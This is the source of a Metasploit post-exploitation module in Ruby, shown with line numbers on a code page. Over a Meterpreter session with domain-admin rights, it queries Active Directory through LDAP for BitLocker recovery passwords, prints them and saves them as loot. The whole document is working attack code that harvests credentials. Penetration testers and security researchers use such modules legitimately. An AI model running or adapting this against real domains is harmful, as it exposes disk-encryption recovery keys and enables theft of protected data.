Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Auxiliary::Report
8
  include Msf::Post::Windows::LDAP
9

10
  def initialize(info = {})
11
    super(
12
      update_info(
13
        info,
14
        'Name' => 'Windows Gather Active Directory BitLocker Recovery',
15
        'Description' => %q{
16
          This module will enumerate BitLocker recovery passwords in the default AD
17
          directory. This module does require Domain Admin or other delegated privileges.
18
        },
19
        'License' => MSF_LICENSE,
20
        'Author' => ['Ben Campbell <ben.campbell[at]mwrinfosecurity.com>'],
21
        'Platform' => ['win'],
22
        'SessionTypes' => ['meterpreter'],
23
        'References' => [
24
          ['URL', 'https://technet.microsoft.com/en-us/library/cc771778%28v=ws.10%29.aspx']
25
        ]
26
      )
27
    )
28

29
    register_options([
30
      OptBool.new('STORE_LOOT', [true, 'Store file in loot.', true]),
31
      OptString.new('FIELDS', [true, 'FIELDS to retrieve.', 'distinguishedName,msFVE-RecoveryPassword']),
32
      OptString.new('FILTER', [true, 'Search filter.', '(objectClass=msFVE-RecoveryInformation)'])
33
    ])
34
  end
35

36
  def run
37
    fields = datastore['FIELDS'].gsub(/\s+/, '').split(',')
38
    search_filter = datastore['FILTER']
39
    max_search = datastore['MAX_SEARCH']
40

41
    begin
42
      q = query(search_filter, max_search, fields)
43
    rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e
44
      print_error(e.message)
45
      return
46
    end
47

48
    if q.nil? || q[:results].empty?
49
      print_status('No results found...')
50
      return
51
    end
52

53
    # Results table holds raw string data
54
    results_table = Rex::Text::Table.new(
55
      'Header' => 'BitLocker Recovery Passwords',
56
      'Indent' => 1,
57
      'SortIndex' => -1,
58
      'Columns' => fields
59
    )
60

61
    q[:results].each do |result|
62
      row = []
63

64
      result.each do |field|
65
        field_value = (field.nil? ? '' : field[:value])
66
        row << field_value
67
      end
68

69
      results_table << row
70
    end
71

72
    print_line results_table.to_s
73

74
    if datastore['STORE_LOOT']
75
      stored_path = store_loot('bitlocker.recovery', 'text/plain', session, results_table.to_csv)
76
      print_good("Results saved to: #{stored_path}")
77
    end
78
  end
79
end
80

81